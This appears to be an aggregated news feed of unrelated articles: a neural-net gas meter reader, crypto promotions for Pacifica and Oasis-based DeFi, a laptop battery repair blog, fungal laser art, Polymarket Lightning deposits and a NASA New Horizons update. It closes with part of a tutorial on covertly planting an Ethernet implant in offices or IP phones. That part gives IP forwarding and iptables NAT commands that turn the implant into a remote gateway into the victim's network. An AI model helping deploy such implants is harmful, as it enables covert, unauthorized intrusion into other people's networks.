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Yesterday — 21 July 2026Main stream

Neural Net Reads the Gas Meter

21 July 2026 at 14:30

In an ideal world, the role of technology would be to make all of our lives easier. And although all the ads suddenly appearing in our smart TVs and gaming systems might make it seem otherwise, some technology can still improve our lives if we work hard at it. For [Cian], that meant training a neural network to read his gas meter so he wouldn’t have to do it himself.

The root issue here is twofold, first that [Cian]’s gas company hasn’t upgraded their own technology to modern, remote-readable meters, and second that the meter can’t be read by a gas employee because it’s hidden in the depths of [Cian]’s basement. This latter fact requires him to delve into Moria-like depths to get to the meter, so the solution here was to place a Raspberry Pi in this location instead. With a camera pointed at the meter, it’s not quite capable of discerning digits on its own so a neural network was trained in order to get accurate readings of the dial. And, finally, since the machine is networked already [Cian] set it up to automatically notify the gas company of its reading so he is now completely out of the loop.

For automating tedious tasks like these, the Raspberry Pi with something like OpenCV as a computer vision tool is a fairly mature platform for light machine learning duties like these. We’ve seen license plate readers as well as neighborhood traffic surveys built on these platforms to help automate human labor away, making our lives easier one single-board computer at a time.

Pacifica Is No Longer Just a Perp DEX

By: justKarpa
21 July 2026 at 10:32

What began as a fast trading venue is gradually turning into an interconnected trading ecosystem.

A few days ago, I posted an image with a simple caption: All roads lead back to Pacifica.

At first, it was just a visual idea.
Different roads. Different products. One destination. But the more closely I looked at what Pacifica has become, the less it felt like a metaphor.
Trade. Hold. Earn. Build. Automate. Predict.
These activities are often spread across different platforms, each requiring another deposit, another interface, and another disconnected account.
Pacifica is beginning to bring more of them into one environment.
And that changes how the platform should be understood.

It Started With Perpetuals

Pacifica built its name as a high-performance perpetual DEX on Solana.
The project was founded in January 2025 and launched its mainnet six months later. According to Pacifica’s current documentation, it has since processed more than $220 billion in cumulative perpetual volume, with approximately $1 billion in daily volume and more than $100 million in peak open interest.
Today, Pacifica supports more than 65 perpetual pairs across crypto majors, altcoins, RWAs, FX, pre-IPO assets, and other categories, with leverage of up to 50× depending on the market.
Those numbers explain how Pacifica attracted attention. But they do not fully explain where the platform is going.
The more interesting story is what has been built around the exchange itself.
Pacifica’s own documentation now describes the project as expanding from a high-performance perp venue into a broader trading ecosystem.
That distinction matters.
A perp DEX gives traders a place to open leveraged positions. An ecosystem connects multiple ways of trading, managing capital, participating, and building.
Pacifica is moving toward the second model.

The Trading Road Is Getting Wider

Perpetuals remain at the center of Pacifica, but they are no longer the only market available.
The platform now supports both perpetual and spot trading. Traders can use cross or isolated margin for perpetual positions, while eligible spot assets can contribute to a unified-margin account.
That means the relationship between spot and perps is no longer limited to switching between two separate tabs.
Pacifica combines a user’s USDC balance, unrealized PnL from cross-margin perpetual positions, pending interest, and eligible spot collateral when calculating account equity.
This creates a more connected capital structure.
A trader holding eligible spot assets may be able to use their collateral value to support perpetual positions. A long spot position combined with a short perpetual position on the same underlying can also function as a carry trade, with the two sides reflected in the same equity calculation.
The important shift is not simply that Pacifica added spot.
It is that spot and perps can work together.
That is a much bigger step than adding another market to a navigation menu.
Learn more about Pacifica’s unified margin system.

Different Ways to Participate

Not every user approaches a market in the same way.
Some want to actively trade. Some want to place a limit order and wait for their price. Some prefer to allocate capital through a Vault.
Others want a faster, more visual way to express a short-term view on price.
Pacifica is building separate experiences for these users, while keeping them inside the broader Pacifica environment.

Print allows eligible resting limit orders to earn yield while they wait for execution. The order remains a limit order and can still be filled if the market reaches its price.
Waiting for execution does not have to mean that the order remains entirely unproductive.

Vaults open another road. Instead of manually managing every position, users can allocate capital to strategies deployed and managed through Pacifica’s Vault infrastructure.

Swim takes a completely different approach. It turns short-term price movement into a live prediction game where users select price-and-time zones on a moving grid.
It may feel separate from traditional trading, but Swim draws directly from the same Pacifica trading balance used for spot and perpetuals. There is no separate Swim deposit required.
That detail reveals the larger strategy.

Pacifica is not simply placing unrelated products under one name.
It is creating different ways to interact with markets without forcing users to leave the broader platform environment.
See how Swim works.

The Road Toward Smarter Execution

There is also another layer developing around the trading interface: automation and programmatic access.
Pacifica has offered REST and WebSocket APIs from day one, giving market makers, algorithmic traders, and builders direct access to its trading infrastructure.
More recently, it introduced an MCP server that exposes the REST API as tools compatible with clients including Claude Code, OpenAI Codex, and others.
I tested this connection myself.
Through Claude Code in VS Code, I was able to connect to Pacifica, retrieve account and market data, create a limit order, cancel it, and manage open orders through natural-language instructions.
That experiment changed the way I interacted with the platform.
The trader no longer had to manually click every button. An AI client could translate instructions into actions while Pacifica remained the execution layer underneath.
Pacifica’s documentation also lists an AI Agent and World Monitor among its expanding products. Their inclusion points toward a broader focus on AI-assisted trading, monitoring, and automation, although their individual roles should be evaluated as those products develop.
AI is not replacing the trading infrastructure. It is becoming another way to access it.

Different Users, One Destination

Once these pieces are viewed together, Pacifica begins to serve several different types of users:

  • A manual trader can use spot, perps, advanced order types, and different margin modes.
  • A Vault depositor can allocate capital without manually managing every position.
  • A limit-order trader can use Print while waiting for execution.
  • A short-term predictor can participate through Swim.
  • An algorithmic trader or market maker can connect through REST and WebSocket APIs.
  • An AI-assisted trader can interact with the platform through MCP-compatible clients.
  • A builder can create products using Pacifica’s markets and infrastructure.

These users may enter through different products, but they ultimately return to the same broader platform. That is what makes the “all roads” idea more than a slogan.

More Products Do Not Automatically Create an Ecosystem

There is an important distinction here.
Adding more features does not automatically turn a platform into an ecosystem.
If every product requires completely separate funds, accounts, and workflows, the result is still a collection of isolated tools.
The real test is whether the products strengthen or connect with one another.

On Pacifica, those connections are beginning to appear:

  • Eligible spot holdings can contribute collateral value to perpetual margin.
  • Spot collateral, USDC, pending interest, and cross-perp PnL are reflected in a unified account-equity calculation.
  • Swim uses the existing Pacifica trading balance.
  • Print adds an earning mechanism to eligible resting limit orders.
  • Vaults give users another way to allocate capital through the platform.
  • APIs and MCP allow software and AI-compatible clients to access Pacifica’s infrastructure.

Each road serves a different purpose. They do not all use identical execution mechanics, but they are becoming parts of the same expanding platform.

Pacifica Is Becoming the Destination

Pacifica began as a road to perpetual trading.
Today, perpetual trading is becoming only one of the roads inside Pacifica.
The platform is still evolving, and not every user will need every product. A professional trader, a Vault depositor, a builder, and someone playing Swim may have completely different goals.
They do not need identical experiences.
They need infrastructure that allows different experiences to exist without forcing every user to start from zero on another platform.
That appears to be the direction Pacifica is taking. Not one interface for one kind of trader. But multiple ways to trade, allocate capital, build, automate, and participate, connected through one expanding ecosystem.
Maybe that is why the caption now feels less like a metaphor.
All roads really do lead back to Pacifica.


Pacifica Is No Longer Just a Perp DEX was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

Verifiable DeFi Is Catching On. Case Studies: Robin Markets, Tradable.

21 July 2026 at 09:55

Confidential decentralized finance (DeFi) has always been one of the best use cases for Oasis’s privacy stack. The industry’s first and only production-ready confidential EVM, Sapphire, was, however, only half the solution for trustless applications to ensure user data is sovereign and secured by default.

On-chain runtime can only take you so far, especially when processing huge datasets or sensitive information is concerned. Oasis has crossed that hurdle now with runtime off-chain logic ROFL in production. This framework runs off-chain compute inside a Trusted Execution Environment (TEE) before handing over the result to Sapphire for on-chain storage and finalization.

As Sapphire and ROFL enable verifiable privacy at scale, thereby counteracting the trust bottleneck, several projects have aligned themselves with Oasis to integrate this privacy layer for their products. Here, I will outline two examples that offer a glimpse into the future where confidential DeFi unfolds as verifiable private DeFi of tomorrow, uplifting user experience.

Robin Markets & verifiable yield with trustless oracle

Prediction markets are an interesting spin-off of the DeFi space, and Polymarket is undeniably one of the biggest players. Here, users can bet on real-world scenarios and outcomes, from elections to sports to just anything that involves Yes/No decisions. They can buy YES or NO tokens that are essentially tokenised positions in the market. The potentially lucrative returns attract not only crypto-native but also mainstream users, and at any given time, hundreds of millions in positions are open.

Funds locked with idle positions

The prediction market sounds fun and simple to engage with but has an inherent problem. When a user buys those YES or NO tokens, the time taken to resolve the position may range from a few hours to a few days to a few months. And until resolution, the funds are locked in the position, sitting idle, and with zero benefit to the asset owner.

Robin Markets proposes to solve this inefficient situation.

Users can trade and stake the YES or NO tokens, and earn passive income. It works like this.

  • Robin Markets pairs the YES and NO tokens
  • Then finds a YES staker and a NO staker on the same market
  • Next pulls the underlying USDC collateral from Polymarket
  • Finally routes it into viable DeFi yield strategies

With this scenario, both the YES and NO stakers stay in the market with their open positions untouched, while the collateral helps earn them APY.

Yield distribution mechanism

Users earning from idle positions is good news, but the yield distribution scenario is challenging. At the resolution point, one position wins, and the other loses. But the yield accumulated during the lifecycle of the positions is not equivalent for the opposing parties, representing variable risks.

It is improbable that the YES and NO stakers split the risk and the position 50:50, so the yield payout also cannot be an even distribution. Splitting the yield at the final resolved price is also inaccurate, as it will nullify the changing positions during the lifecycle of the staking period.

Time-weighted average, or TWAP, is used to solve this dilemma. This mechanism tracks the average price of both the YES and NO positions during the lifecycle of the staking period before calculating yield distribution. Robin Markets has a trustless oracle server to access the price history from Polymarket. It then uses TWAP to process the yield calculation, and signs the results on-chain. Any update on the yield in the staking vault only applies when a valid signature is verified from the oracle.

Oasis role

The trustless oracle runs on ROFL, executing the whole process of price fetching, TWAP computation, and result sign-off inside a secure enclave. No part of the process is visible, accessible, or modifiable by Robin Markets or any third parties. Also, since on-chain verification of signature must accompany any update, it ensures the oracle data remains in sync with the current chain state.

The verifiable-by-design computation and tamper-proof oracle reports ensure there are no trust gaps in the mechanism, letting users avail a first for yield on locked prediction-market positions.

Tradable & verifiable market intelligence

DeFi is the go-to web3 use case for many, but the market reality of retail traders versus institutions and professional traders shows a huge and unfair gap. While institutions benefit from reading and interpreting on-chain flows, liquidity conditions, and real-time market sentiments, professional traders have access to high-grade tools, automations, and data analysis and insights.

The Tradable platform and its SenseAI tool help plug this imbalance. With automated trading enabled and a personalised AI portfolio assistant to help, users other than traditional heavy hitters can also make the most of the market opportunities.

As an autonomous agent, SenseAI reads the market 24x7, bringing institutional feeds and insights to retail. It involves simultaneous access to three layers.

  • Macro structures like dominance trends and ETF flows
  • Network health like wallet data and capital inflows/ outflows
  • Market sentiment like fear/ greed cycles, narrative buildup, and trajectory

With institutional-grade intelligence on their fingertips, average users can use the opportunity to translate market trends and signals into potentially high-return crypto portfolios.

The mechanics of SenseAI

SenseAI, as a market intelligence tool, differs from most similar solutions that produce information overload by dumping too much raw data, with users unable to decide how to interpret the signals or what to do next. Instead, it runs a process that combines reasoned output from strategy, research, and analysis.

As a result, SenseAI is involved in context building to decide what matters and when, data access and processing, and using all this to analyse signals and infer the best foot forward. Two key components of the process are divergence and confluence.

Divergence is where the tool can flag the fragility of a network even when the price pumps and no apparent weakness is visible or predicted by price action. Confluence is where the tool can read signal over narrative so that liquidity and on-chain activity expansion is validated as real strength rather than mere hype.

Every insight is encrypted, verified, and paid on-chain, yet the whole process feels like a normal web request.

Oasis role

Market analysis, especially using autonomous agents, needs integrity, and that trust must be earned. The mechanism should be tamper-proof, and there should also be no bias for or against any crypto assets. Running inside ROFL, SenseAI ensures confidential compute on the Tradable virtual chain on Aurora. With remote attestation securing the tool’s mechanism, it is safe from any manipulation by the operator, and the user prompts also stay confidential.

Like any other AI tool, memory is the eternal pain point. As user interactions grow, memory also grows, branches, and needs constant access for context. The storage problem is solved by putting the entire memory, comprising messages and context, in an encrypted file on Autonomys Auto Drive. So, the confidential on-chain smart contract gatekeeps and proves any conversation that happens; Auto Drive stores the conversation content, and only the user, holding the keys, can access and read it.

Currently, SenseAI is in testnet mode, where usage by the community provides the information layer for the tool. After mainnet rollout on Aurora and enabling of live token payments, it will be integrated into the Tradable platform as the verifiable market intelligence for individual traders.

Final words

Robin Markets and Tradable’s SenseAI showcase how next-gen confidential DeFi evolves alongside AI agents. Integrating Oasis’s tech stack like ROFL underlines the value of off-chain compute and verifiable privacy.

What is your take on these projects? Let’s hit the comments section.
Also, explore Oasis’s in-house private DeFi solution, Privana, or how the protocol can help build and deploy verifiable agents.

Originally published at https://dev.to on July 21, 2026.


Verifiable DeFi Is Catching On. Case Studies: Robin Markets, Tradable. was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

Before yesterdayMain stream

On a Power Trip

20 July 2026 at 10:17
My laptop is one of my most important tools. While my servers and office systems have all of my configured software and documents, I can't take them with me on customer trips, or even to the living room for some late-night catching up while watching TV. The laptop is basically my portable window into my office.

I don't need a powerful laptop. I'm not a gamer and I rarely develop software directly on it. The biggest applications I use are Impress for presentations and VLC for watching movies on airplanes. Most of the time, I'm simply accessing websites, running diagnostics, or remotely logging into my office. (If someone were to steal my laptop, they won't get much. They can't access the office without my passwords and biometrics. If it ever were stolen, I can immediately lock down all network access to my office with a single unpublished URL.)

More Laptop

Last year, I wrote about my laptop. Back then, the Windows 10 operating system was hitting end-of-life and needed to be replaced. The final straw was the "Patch Tuesday" where the laptop sat at "Restarting" forever. Since the laptop is only used for remote access, there was nothing that needed keeping. I ended up reinstalling it with Ubuntu Linux.

This OS switch came with a few pleasant surprises:
  • The laptop was significantly faster. (Windows is a resource hog!)

  • The hard drive had a lot more room. (Linux is smaller than Windows.)

  • Restoring the network from suspend worked perfectly. This had been a problem under Windows.

  • The original battery lasted 8-9 hours under Windows, but had aged to lasting 4-6 hours from a full charge. With Linux, I was getting 10-12 hours of use from the same hardware.

  • I had some touchpad issues under Windows. Switching to Linux made those issues mostly go away.

Touchpad

While the touchpad issues were mostly resolved, they weren't completely gone. The mouse cursor would move correctly, but sometimes the mouse buttons would become non-responsive or require multiple presses before they worked. A reboot would fix the problem temporarily, so I didn't think it was the hardware wearing out.

Under Windows, I found a few other people with the same problem, but "reboot Windows" was the cure for everything. With Linux, there are enough tools for a real diagnosis and easy fix.

The laptop communicates with the touchpad using a two-wire protocol called I2C. When the laptop suspends and restores, the I2C drivers can get into an inconsistent state, causing the buttons to fail. The solution? I created a system restore script that restarts the I2C drivers when it wakes up. With Ubuntu, create the executable file "/lib/systemd/system-sleep/restart-touchpad":
#!/bin/sh
case "$1" in
post)
# Unload the ACPI and I2C drivers
rmmod i2c_hid_acpi
rmmod i2c_hid

# Reload them for a clean reset
modprobe i2c_hid
modprobe i2c_hid_acpi
;;
esac
That's it. You don't need to restart anything. Now the touchpad works properly all of the time.

Old Hardware

I usually keep hardware until it stops working. For example, I had an old Pentium computer with a 120MB hard drive that I used as my mail server for over 20 years. OS patches? Ha! It was still running Redhat 5.1! (Old hacker security tip: nobody looks for 20-year-old vulnerabilities, and newer vulnerabilities didn't work on old systems.) In my opinion, as long as the system is stable, why risk replacing it? The only reason I retired that old mail server was that everyone was moving to TLS for secure email transfers and some of the OpenSSL dependencies were too complicated to port to the old system. The 30+ year old hardware itself still worked fine.

The same goes with laptops. For someone who has been in the computer field for over 40 years, I've only ever owned four laptops. My first one was an Apple. (Never again.) It lost OS support after 2 years. However, I didn't move off of the laptop until the browser providers (Chrome and Firefox) stopped supporting it. I needed a modern browser, so that meant a modern laptop.

My Asus EeePC was my favorite because it was tiny and lightweight. However, after a decade most OS's dropped support for the Atom processor, so I had to update again.

These days, I'm using a Dell XPS that I purchased in 2017. The hardware is designed to last, the only issue was the touchpad -- and that's fixed now. That just left the battery.

Battery

No laptop batteries last forever. With lithium-ion, they start with a long lifespan and then slowly degrade over time. However "slowly" isn't linear. After a few years, you'll start seeing the battery runtime decline, and as time passes it will decline very rapidly. When it's completely dead, it might hold a charge for five minutes.

Lithium-ion batteries typically last seven to ten years, although heavy cycling, deep discharges, and heat can shorten that lifespan. My laptop was from 2017, putting it well into the "old battery" range. When it was new, it could hold a charge for 8-10 hours while running Windows. After eight years, Windows was lasting 4-6 hours before I switched to Linux. Linux lightened the power requirements, bringing it back to a 10 hour battery. That doesn't mean that the battery is fresh; it just means that the new OS was more power efficient.

Over the last year, it had entered the fast decline that is typical for lithium batteries. Last month, a full charge was lasting 2.5 - 3.5 hours (still under Linux). If I can't last an entire airplane flight, then that's effectively a dead battery. While I'm thrilled to have had nearly 9.5 years out of this battery, I had to make a choice:
  • (A) Get a new laptop. These days, that would cost me $900 - $1500.

  • (B) Get a new battery. I saw prices that varied from $25 to $100.
My thought: if I could get a new battery and maybe another 7 years of life out of this laptop, then it was definitely worth it. (Also, I wouldn't have to lose all of the stickers I had plastered on the laptop.) In the worst case, either a new battery wouldn't help or I'd damage the laptop while swapping batteries. But for under $100? I was willing to experiment.

The huge price range really bothered me. As far as I can tell, all of the sub-$75 batteries were from pop-up providers. Vendors who were here today and gone tomorrow. Each had reviews that ranged from "5 stars: It works!" to "1 star" with long paragraphs about all of the problems and non-responsive vendors. Even though the batteries were all marketed as "new", they were probably "newly rebuilt" and not really "new".

Dell no longer makes this battery, but a few companies still have good reputations for selling genuinely new batteries rather than rebuilt packs. I had never purchased from iFixIt before. And now that I have, I highly recommend them. (I am not a paid spokesperson, I'm just a very happy customer. As an aside, I often blog about problems with vendors. This time, I only have positive things to say.)

The battery was affordable (under $100 and with free shipping). It arrived on time. It arrived well-packaged and undamaged. (This is always a concern with lithium batteries.) It said that the package included a small toolbox, but that wasn't part of my decision process. Now that I've used it, this is one of the nicest toolboxes I've ever had for repairing equipment. It includes:
  • A metal shim, for prying open lids without cracking the tabs.

  • A bunch of plastic shims, so the lid doesn't close while sliding the metal shim around the seams.

  • Every screw driver bit size you might need.

  • High quality tweezers.

  • A plastic tool that is great for helping peel up tape.

  • A suction cup, in case you're repairing a cellphone screen.

  • Even the toolbox lid is well-designed, with grids for holding screws. I populated it with the screws I pulled out (each type and location went in a different holder) and put the screwdriver bit next to it as I went.
I found out the hard way that it is designed for use with one hand! With my laptop, I had removed the screws and was using the metal shim to pry off the back. I realized that I needed a plastic shim to prevent the lid from snapping back on while I worked. With one hand, I held the metal shim in the lid. With the other hand, I was able to push down on one side of the plastic shim and have it pop up so I could grab it. I didn't realize that there were multiple plastic shims until they popped up and exploded all over the desk. This was a very pleasant surprise.

Here's the toolbox:

(Be careful pushing on the blue plastic triangular shims in the middle. There are a bunch of them and they will all suddenly pop out!)

And here's the laptop mid-replacement:

(The old battery is off the top of the photo. The new battery is the black rectangle in the top center. It goes over the touchpad, which is the green board at the bottom of the screen.)

A few years ago, I tried to replace the battery in my Samsung tablet. I had a hodgepodge collection of tools and ended up destroying the tablet. I was worried about doing the same thing to the laptop. But with the right tools, going slowly, and taking photos, I managed to replace the battery without any problems in under 30 minutes. (Now that I know what I'm doing, I could probably do it in 10 minutes without feeling rushed.) It was truly painless.

Calibration

After swapping the battery, the laptop wouldn't turn on. That's fine -- the new battery shipped without a charge. After 10 minutes of charging, I could turn the laptop on. (Good! I didn't break anything.)

The next step is to calibrate the battery. This isn't for the battery's health; it calibrates the software that reports how much power remains.
  • Typical batteries: With regular lead-acid and alkaline batteries, the output voltage is pretty linear. You can measure the voltage to determine the battery's remaining capacity.

  • Lithium-ion batteries: Lithium-ion batteries have a long, flat discharge rate. You can't just look at the voltage and determine how much battery time is left. During the flat discharge rate, the micro-voltage differences can be too small for the hardware to detect; there may be no measurable difference between 30% and 70% capacity. To estimate the remaining time, the OS uses a combination of measured voltage and a timer for how long it took to drain. For the calibration, you put it through a full charging cycle, full discharge, and full charge again. This helps the software guestimate the capacity during the flat discharge rate.
My laptop's battery is rated at 7.6V and 60Wh. With Windows, I was getting nearly 10 hours with the original battery. But now I'm on Linux, which consumes much less power. I had no idea how long this new battery would last.

To calibrate with Linux, you should remove the power history. This forces it to learn based on the new battery.
sudo systemctl stop upower
sudo rm /var/lib/upower/history-*
sudo systemctl start upower
Next, fully charge the battery. Let it charge for at least two hours beyond "fully charged".

The full discharge step is kind of a challenge, since the OS wants to be as efficient as possible. Turn off power-saving mode, turn off the screen saver, turn off suspend, etc. I gave it something to do: play the movie "The Bourne Identity" over and over until the battery was fully drained. (The computer will warn about low voltage, and then shutdown automatically. That's the full discharge.) With this new battery? I expected it to last for 12 or 14 hours. Instead, it ran for 30 hours! (I suspect that it was using a hardware-based video decoder which is very power-efficient, and letting the CPU itself effectively rest and consume flea power.)

The final full charge cycle probably only needed a few hours, but I let it go overnight.

With the new battery installed and calibrated, Linux reports "15 hours remaining". After five hours of use, I still have "14 hours remaining", and if I start compiling code, it drops to "10 hours remaining." I'm not too worried about the calibration's accuracy since it may take the OS time to learn. I might not be able to tell the time remaining with extreme accuracy, but I'm sure it will last an entire plane flight on travel days.

Right to Repair

There's an entire movement centered around the right to repair equipment. Being able to change a battery in a working device is one of those basic tenets. My Samsung tablet appeared designed to self-destruct when opened. My Dell laptop was built to be repaired, and the tools from iFixIt simplified this process. I'm sure my laptop is good for at least another seven years.

In my home town of Fort Collins, they are building a new library. This one will include an "innovation maker-space". They recently had an open house to discuss wants and needs with the community. People wanted everything from a 3D printer and laser cutter to sewing machines, button makers, and classes on gardening. One of the things that was repeatedly mentioned by attendees was a repair station. Whether it's a team of volunteers, one-time hands-on classes, or something in between, people have a strong desire to repair electronics before buying a replacement.

My successful weekend project is exactly why community maker-spaces are so vital. When manufacturers design hardware to be opened, and companies like iFixIt provide the exact toolkits to do it safely, fixing our own tech transitions from a stressful gamble to a rewarding afternoon project. We don't need to throw away perfectly good silicon just because a battery gets old. Keeping this laptop out of a landfill isn't just a win for my wallet, it's a small victory for a more sustainable, fix-it-first mindset.

The combination of a lightweight Linux OS, a fresh battery, and the right tools completely resurrected a piece of hardware that most people would have recycled years ago. It may not be the latest or greatest, but it's perfect for the next time I leave the office.

Printing Fungal Art with Laser Control

12 July 2026 at 07:00
A series of simulations of a shape are shown, with that shape traced out in a petri dish with a laser below. The shape is roughly like a 90-degree corner bisected by a third arm.

Preservationists usually take great care to prevent fungi from appearing the world of art, but in the case of [Kexin Wang]’s Funguy project, the fungus itself is the art. It uses a laser diode to repeatedly trace an outline onto a dish of agar gel in which fungus is growing, and the photophobic fungus grows only up to the edge of the laser-traced figure, potentially creating complex designs.

This project evolved out of a research project in which they developed a computer model for fungal growth, then used its predictions and a laser to control a fungus’s growth pattern. The model has two parts: a temporal convolutional neural network which learns fungi growth patterns from a series of images, and a cellular automaton to simulate these growth patterns under different starting conditions. The cellular automaton’s rules aren’t fixed; each cell runs a small neural network which learns the rules under supervision from the convolutional network. By training these networks on images of the growth stages of three different fungi, it was able to realistically predict the different growth patterns of the different species.

To actually control the growth pattern, the researchers tried a series of different wavelengths and laser powers; shorter wavelengths tended to work better, with a 405 nm laser working best. The growth model complemented the laser setup by predicting in which areas the growth medium had run out of nutrients. Since fungus would no longer spread in these regions, the laser no longer needed to trace these sections. The Funguy kit’s laser system itself is similar to a laser engraver, with an XY-kinematic system seemingly built from a DVD drive frame. It uses fungi from the Mucor genus, though it can print with other photophobic microorganisms, such as slime molds.

This project seems aimed at artistic and educational uses, but considering the various electronic parts that have been made of fungi, more functional applications should be possible.

Residential Proxy Risks: Understanding Google’s Latest Action Against 2 Million Strong NetNut

3 July 2026 at 08:00

Google announced that it helped take down NetNut, a 2 million strong malicious residential proxy network. The incident highlights the growing risks posed by residential proxy networks that quietly conscript consumer devices into services used by cybercriminals and nation-state actors alike.

The post Residential Proxy Risks: Understanding Google’s Latest Action Against 2 Million Strong NetNut appeared first on The Security Ledger with Paul F. Roberts.

Polymarket Turns On Instant Bitcoin Deposits Via Lightning Network, Powered by Spark

7 July 2026 at 15:49

Bitcoin Magazine

Polymarket Turns On Instant Bitcoin Deposits Via Lightning Network, Powered by Spark

Polymarket, the crypto-native prediction market, has begun supporting instant Bitcoin deposits over the Lightning Network. The feature uses infrastructure from Spark, a Bitcoin protocol built for payments and stablecoins. 

In a post on X, Spark told users they can deposit BTC to the platform with more speed and more privacy than the older method offered.

The move extends a funding push that started in October 2025, when Polymarket switched on standard on-chain Bitcoin deposits. Those deposits carried a wait: most on-chain Bitcoin transactions need three to six confirmations, a window of 10 to 60 minutes, before a platform credits an account. 

The on-chain route carried a higher minimum deposit, a reflection of bridging costs. For a trader who wants a position on a live market, both the delay and the fee are a cost.

Lightning and Spark close the gap. Spark validates a Bitcoin transaction at the moment it broadcasts, checking for double-spend risk, fee adequacy, and replace-by-fee flags. 

JUST IN: The world's largest predictions market Polymarket now accepts Bitcoin Lightning deposits! ⚡🙌 pic.twitter.com/CxOObnbyJ2

— Bitcoin Magazine (@BitcoinMagazine) July 7, 2026

The protocol credits the deposit in under a second and absorbs the confirmation risk, a design Spark markets as zero-conf. 

Polymarket does not have to manage confirmation thresholds or run its own Lightning nodes; a single Spark SDK handles on-chain, Lightning, and stablecoin rails.

Spark keeps deposits self-custodial. Each wallet ties to the user’s own keys, so the protocol, not Polymarket, carries the operational load, and users retain control of funds until a trade. 

Spark counts wallet providers such as Breez, Xverse, and Cake among the teams building on the same rails, and Tether chief Paolo Ardoino has praised the protocol as a route to programmable Bitcoin over Lightning.

Polymarket’s boom over the years

Timing matters for a company in a growth phase. 

Founded in 2020, Polymarket rose to prominence during the 2024 U.S. presidential election and has added Chainlink oracles, earnings markets, and a fresh contest with regulated rival Kalshi. 

Faster, cheaper funding lowers the barrier for the Bitcoin holders who make up a large share of the crypto audience, and it hands Polymarket a fresh answer to a rival that has pressed it on volume.

This post Polymarket Turns On Instant Bitcoin Deposits Via Lightning Network, Powered by Spark first appeared on Bitcoin Magazine and is written by Micah Zimmerman.

NASA’s New Horizons Spacecraft Wakes from Hibernation in Good Health

7 July 2026 at 13:48

3 min read

NASA’s New Horizons Spacecraft Wakes from Hibernation in Good Health

Following its longest hibernation period ever of nearly a year, NASA’s New Horizons spacecraft has emerged in good health and is ready to begin transmitting science data gathered in the distant Kuiper Belt far beyond Pluto.

Flight operators at computers in a mission control center monitor spacecraft data on large wall displays.
From left, flight controllers Mark Lahr and Josh Albers, and Mission Operations Manager Alice Bowman, monitor telemetry streaming from NASA’s New Horizons spacecraft to the mission operations center at the Johns Hopkins Applied Physics Laboratory in Laurel, Maryland, on June 24, 2026. Now approximately 5.9 billion miles (9.5 billion kilometers) from Earth, New Horizons is ready to begin transmitting science data after being awakened from its longest ever, nearly yearlong hibernation period.
NASA/Johns Hopkins APL/SwRI/Justin Gladden

On June 23, flight controllers at the Johns Hopkins Applied Physics Laboratory (APL) in Laurel, Maryland, confirmed New Horizons, acting on stored commands uplinked to its main computer last July, had safely awakened from a 321‑day hibernation period that began Aug. 7. With the spacecraft now approximately 5.9 billion miles (9.5 billion kilometers) from Earth, the radio signals carrying that confirmation took about 8 hours and 52 minutes to reach the APL Mission Operations Center via NASA’s Deep Space Network station near Madrid, Spain.

The mission team typically places New Horizons in resource‑saving hibernation mode during long cruise periods. While the spacecraft is hibernating, operators do not send commands or retrieve data, but the spacecraft continues gathering and storing data around the clock from its heliospheric plasma sensors, Solar Wind at Pluto and the Pluto Energetic Particle Spectrometer Science Investigation, as well as its space dust detector, the Venetia Burney Student Dust Counter.

Alice Bowman, the New Horizons mission operations manager at APL, said the spacecraft reported back to Earth, via the Deep Space Network, with a weekly status beacon. “Every status report through this hibernation period was ‘green,’ meaning all was well aboard New Horizons each and every week,” she said.

As New Horizons resumes active operations, Bowman noted, the team will begin downlinking spacecraft health and safety data, followed by data from the three scientific instruments. In about three weeks, the spacecraft’s onboard Alice ultraviolet spectrograph will look at the hydrogen gas distribution in the outer heliosphere, while the Solar Wind at Pluto, the Pluto Energetic Particle Spectrometer Science Investigation, and the Venetia Burney Student Dust Counter instruments continue their measurements, and the ground team conducts a series of spacecraft and instrument checkouts.

The team also is completing upgrades to the ground‑system software that will make it easier to maintain operations of the spacecraft. Tests are already underway and are expected to continue through the year.

New Horizons is operating on updated autonomy logic designed for operations farther from the Sun and to accommodate the expected reduction in power and the naturally occurring increase in radio‑signal travel time.

The NASA spacecraft’s exploration of this distant region of the solar system marks the latest step in a journey that began in January 2006 with the fastest launch on record; a flyby of Jupiter in February 2007 that included stunning views of the gas giant and its moons; the first exploration through the Pluto system in July 2015; the first exploration of a Kuiper Belt object, Arrokoth, in January 2019, and unique studies of the Sun’s outer heliosphere and dozens of additional Kuiper Belt objects since then.

For more information on NASA’s New Horizons mission, visit:

https://science.nasa.gov/mission/new-horizons/

Persistence: Building a Small Ethernet Persistence Device, Part 2

4 July 2026 at 11:24

Welcome back, aspiring cyberwarriors! 

Today we complete our short series on building a small persistence device. After covering how to build it in Part 1, we will now focus on its deployment and how to achieve persistence using the device we created. We will also discuss practical measures to protect your environment from attacks like this.

Persistence

An attacker finds an unattended computer and discreetly connects their device to it.

hiding a persistence device
Connecting the hardware implant “in the middle” between the PC and the switch

The computer in the image above will not lose network access and will not even detect the intermediate node. The Rock Pi will transparently forward the victim’s traffic while simultaneously giving the attacker network access both toward the victim’s computer and toward the local network.

The hardware implant can be connected anywhere (from a regular computer or printer to a server room). It all depends on where the attacker managed to gain access. Its small size allows the hardware backdoor to be hidden even inside another device.

hiding the persistence device
Connecting the hardware implant “in the middle” between the IP phone and the switch

The hardware implant can even be placed inside an IP phone located in a meeting room. Such rooms are often temporarily unoccupied, which an attacker can take advantage of.  The device configuration also allows it to be used not only in a “man-in-the-middle” setup. It can simply be plugged into any available Ethernet port to maintain remote access.

hiding the persistence device
Connecting the hardware implant to a network wall jack

Next, using all available access channels (VPN, DNS, Wi-Fi, 4G), the attacker can remotely access the device and, from there, gain access to the network. To develop further attacks, the attacker does not need to deploy all hacking tools on the device every time. The implant can act merely as a gateway, simply forwarding packets from the attacker into the network.

L3 Access

Now it is time to look at how such a device can be configured in gateway mode, providing simple Layer 3 (L3) access to the target network. Only two components are required.

The first is packet forwarding. When this kernel option is enabled, network packets can pass from one interface (VPN) to another (Ethernet) according to routing rules:

/etc/sysctl.conf

net.ipv4.ip_forward=1

The second is SNAT, which modifies the source IP address for packets that change network interfaces, in this case from VPN to Ethernet:

Pi > iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
Pi > iptables-save | sudo tee /etc/iptables.up.rules
/etc/network/if-pre-up.d/iptables

#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules

